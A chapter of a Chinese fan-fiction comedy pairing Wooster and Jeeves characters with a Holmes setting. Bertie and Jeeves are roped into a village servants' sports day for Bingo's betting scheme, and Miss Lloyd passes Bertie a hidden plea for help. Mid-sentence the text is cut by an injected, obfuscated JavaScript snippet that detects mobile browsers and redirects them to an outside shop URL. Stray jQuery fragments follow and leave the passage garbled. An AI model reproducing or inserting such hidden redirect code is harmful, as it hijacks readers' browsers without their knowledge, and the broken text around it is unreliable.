21.第 21 章

作品:《[综英美]冤枉啊!福尔摩斯

    不是我非要挑刺。吉福斯总能开动他智慧的脑细胞,运筹帷幄。但唯一美中不足在于,他有时候太懒了,或者说反应有点迟钝,不懂得拒绝。


    好比现在,宾果闯进来强烈要求我们参加该死的主仆运动会。我说,还有比这更没有天理的吗?可他只兴味地看着我们,并未在我抗议的时候支持我。


    “不,绝不!”我大叫,“让你的运动会见鬼去吧!”


    “伯蒂,我没想到你是这么小气的人,这点小事也不愿意为兄弟做。”


    “我做得够多了。去教堂?可以。弹钢琴?可以。但你休想叫我套着粗布呢子长裤在田间地头狂奔五公里,只为了让那群中下阶级边鼓掌边朝我身上扔零食。”


    我都听说了,这个赛事将会吸引周边村庄所有农户的目光,上演每年重复播放的场景——绅士和他们的私人绅士挥汗如雨,村民们则看马戏一般在旁边叫好。


    “一直以来都是我在赛马场上下注。”我说,“而不是我自己上去跑。”


    宾果用谴责的眼神盯着我,好似我是他的阶级敌人:“伯蒂,你这话真叫人寒心。你今晚吃的熏鱼,是庄上农户亲手腌制的;你咀嚼的麦粒,是大婶们顶着烈日晾晒的;你喝的每一口葡萄酒,是小姑娘们挥汗如雨采摘的;而你说娱乐大众是让他们看笑话?”


    “我——”


    “你简直就是进步的敌人!”他痛心疾首地捶打着胸膛。恍然一瞬间,我还以为“宾果同志”又回来了,怒吼着要把我这个贵族遗老吊死在巷子口的路灯上。


    “吉福斯。”他转向我的男仆,“你怎么说?你愿意参加运动会吗?”


    我瞪着吉福斯,警告他别乱回答。他抬起下巴看了看天花板,微笑道:“这不失为一条妙计,先生。”


    完了。他的大脑机器终于年久失修了:“听着,我……”


    “先生,我认为参加当地的活动是与本地人打成一片的绝佳做法,就像革命者同志曾说的,‘深入群众’。”


    “你看看!”宾果激动地抓着头发,“伯蒂,你看看,连吉福斯这样封建思想的坚定捍卫者都愿意放下身段,你却故步自封怎么能行呢?”


    “你到底为什么非要我俩报名?”


    “是这样的,伯蒂。你知道吗?村子里开了盘口,这是惯例了,娱乐生活嘛。我琢磨着,有吉福斯这样的智者在,你们准能在比赛中拿个名次。你先给我十英镑或者二十英镑,我压你们赢。只要能赢一注,我就有钱娶安娜·劳埃德小姐了。”


    “我们不能直接赌吗?”我疑惑道。


    “赔率啊,伯蒂。这个比赛年年有,谁能夺冠早就不稀奇了。而你和吉福斯是外地来的,别人都没见过你们,拿不准到底能拿个什么名次,所以赌得特别大。”


    我实在生气,宾果居然把我和吉福斯都当做了赚钱的工具:“劳埃德小姐对你笑过吗?你就在操心结婚的钱了。”


    “机会留给有准备的人。你也知道,我上次冒名加入革命党的事得罪了我叔叔,停掉了我的生活费,一便士也不肯给我,不然我也不会沦落到这见鬼的乡下给那见鬼的死小孩当家教。就算现在劳埃德小姐答应我的求婚,我搜刮全身上下,连教堂登记的钱也拿不出来。”


    “我同意利特尔先生的计划,先生。”吉福斯帮腔道,“若是利特尔先生与劳埃德小姐喜结良缘,定能缓和其与叔叔比特沙姆勋爵的关系,这样一来利特尔先生的财务危机也能很快解决。”


    “你瞧瞧!”宾果叫道,“还是吉福斯脑瓜好使!”


    “承蒙先生谬赞。”


    “简直是神迹!”


    “多谢先生赏识,一些拙见罢了。”


    事已至此,我只好弯腰捡起肥皂,摆在洗手台上,无奈地问:“你想叫我们参加什么项目?”


    “哦,那得看你。”


    “他们都比什么呢?”


    宾果从口袋里摸出张皱巴巴的纸,眯着眼睛在灯光下念道:“泥塘袋鼠跳、稻草人障碍赛、扁担运粮接力、十字形插秧小能手、赶猪进圈、勺子运鸡蛋、两人耕地模仿赛……”


    “停。”我打了个哆嗦,实在听不下去了。


    “嘿!”他眼前一亮,“这个绝对错不了:混合动物土豆赛跑!”


    “不!”


    “吉福斯?”


    “也许先生愿意……”


    “什么鬼主意!”


    所谓混合动物土豆赛跑,即两人一组,其中一人拿着土豆站在远处,学动物的叫声,另一人也蒙着眼睛学动物叫,然后顺着声音跑到拿土豆的伙伴那里去。我实在不愿想象那个场景有多么滑稽百出。


    “你们想学什么动物?”宾果直接开始登记了。


    吉福斯沉吟着:“伍斯特先生有一副清亮柔和的男中音,很适合活泼的、不那么低沉的叫声。如果先生愿意考虑的话,我觉得小动物比较适合他。”


    “哦。我还以为他适合羊叫或者牛叫什么的。”


    “我持保留意见,利特尔先生。”


    “嗯,他还是个驴叫的高手,在他看到什么令他惊讶的东西时。”


    “太过分了啊。”我说,“我爱怎么叫怎么叫。”


    吉福斯意味深长地看了我一眼,我品不出他在想什么。


    正当他和宾果如火如荼地讨论我应该学什么动物叫的时候,我忽然听见一些细微的动静在壁橱里出现。


    那似乎是奇奇怪怪的脚步声,好似有不到一英尺长的小人在壁橱里跑过,当然这是不可能的。我住的房间靠近烟囱,墙外还有水管,我怀疑是野猫或者黄鼠狼之类的小家伙。


    我拉开壁橱,把耳朵贴到墙上。整个公馆是石砖的结构,但内里装修用了上好的木材,和墙体之间有个夹层。


    “伯蒂,你干什么呢?”宾果和吉福斯停下讨论,看着我。


    我伸手敲了敲木板:“我听见有东西在夹层里。你们听见了吗?”


    “没有,先生。”吉福斯回答。


    奇了怪了。


    我挪动位置,上下左右又听了听,但那响声没再出现,宾果说我得了“赛前综合症”,精神紧张出现了幻觉。


    我摇摇头,关上壁橱。他残酷地订好接下来的赛前排练计划,就带着二十英镑离开了。


    现在是我和吉福斯算账的时间。我双手叉腰,绝不屈服:“都怪你,吉福斯。”


    “先生?”


    “你干嘛要答应宾果?”


    “我是为了先生考虑。一直以来,先生都充分发挥自己的骑士精神,解救同伴于危难之中,绝不对陷入困境的朋友袖手旁观。多年来我十分钦佩于先生的勇敢与善良,想要效仿先生,可惜没什么机会。很抱歉,我冲动之下就这么答应了利特尔先生。如果先生觉得我此举不妥,我也不会反驳,但是我实在不愿失去这个机会。你能原谅我吗,先生?”


    他诚恳的语句打动了我,我热泪盈眶地望着他,实在不忍心继续责备。我从来没想过,我仰赖的吉福斯也会渴望学习我,叫我无论如何也要帮助他实现这个愿望。


    “别说了,吉福斯,我们一定要拿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435545|198395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到名次,让宾果挣大钱。”


    “谢谢你,先生。”


    我带着对未来的憧憬心满意足地洗漱入睡。第二天下午三点,我准时来到镇子里活动中心的音乐教室,见到让宾果再次陷入爱河的安娜·劳埃德小姐。


    她的确是个美人,不能说多么风姿绰约,但优雅宁静地坐在沙发上的模样叫人心生柔情。我到的时候,宾果正用一个枯燥的笑话让劳埃德小姐的堂姐妹和手帕交们呵欠连天。他鼓着眼睛,面红耳赤,舌头打结,出尽了洋相。她却善良地没有附和姐妹们的挤眉弄眼,还无视了她们嘲弄的偷笑。


    但她的注意力似乎也不在宾果身上,而是望着窗外,好似愁肠百结,一直结到了几英里外的树梢上,神思不属,根本不在意宾果到底说了什么蠢话。


    我挺身而出:“哈喽——喽——咯!”


    “伍斯特先生!”


    姑娘们立刻甩下宾果,好奇地将我围住,你一言我一句地打听起我的个人信息。我给宾果使眼色,叫他趁机去接近劳埃德小姐,可惜这赔钱货不中用,吭哧半天,除了两眼发直之外什么表情也无。


    “劳埃德小姐。”我只好晃到她面前,“呃,也许宾果和你提起过,鄙人在音律方面也有些造诣,不知道小姐可否赏脸,和我说说这个月唱诗活动的曲子?就让宾果给我们翻乐谱吧。”


    劳埃德小姐这才回过神,眉宇中的惆怅消退了些,对我点点头。


    我心中嘀咕,这姑娘好像和吉福斯的描述有些差别,也不知是谁的问题。等坐到钢琴前,我更加怀疑村里的信息网出了差错。她弹曲子的整个过程心不在焉,轻重音不分,音准也不行,更别提什么韵律、情感了。


    我纳闷地靠在钢琴边,想到之前在美国百老汇,业内人士跟我提到的“宣传的重要性”。


    “呃……你知道,李斯特……”我试探着开口,努力不想表现出质疑。


    她抬头凝视着我,忽然眨了眨眼睛。我立即忘记了要说什么,给了她严肃的一瞥,拒绝她在宾果的面前对我抛媚眼。


    然而,这姑娘好像盯上我了,接下来的时间总是若有若无地偷看我。我心中暗叫糟糕,不是我自作多情,但伯特伦风流倜傥英俊潇洒,这情况不会叫我和宾果反目成仇吧?就这样熬到活动结束,趁宾果跑去抽烟,她忽然走到我面前。


    “伍斯特先生。”


    “……嗨。”我后背冒汗,“我突然想起我家男仆让我顺路去一趟菜市场,我这就……”


    她忽然抓住我的手。


    “喂!”我尖叫起来。


    她死死攥着我,我眉毛都要挤飞了,既不想落了她的脸面,也不想叫宾果回来看见这一幕。结果她追着我不放,颇有点撒泼的意味,死活要塞给我一张乐谱。


    我低头一看,《爱之梦》,差点两眼一翻厥过去。


    等劳埃德小姐满意地跑走了,吉福斯才来到我身边:“刚才发生了什么事,先生?”


    “吉福斯,你看。”


    我讪笑着把乐谱塞给他,无言诉说我的苦楚。他挑挑眉,展开乐谱扫了眼,蓦地露出了惊恐的神色。


    他的眼睛凝重地紧盯着乐曲,我心想劳埃德小姐不会在上面写了什么过分的话吧?凑过去一看,只见是首缠绵悱恻、足以让家中长辈惊呼“世风日下”的爱情小诗。


    “先生,先别晕。”他拉住我,“你看,劳埃德小姐在这几个小节标记了强音符号。如果把这些强音所对应的诗歌最后一个字母组成起来,就是意大利语的——”


    “救命。”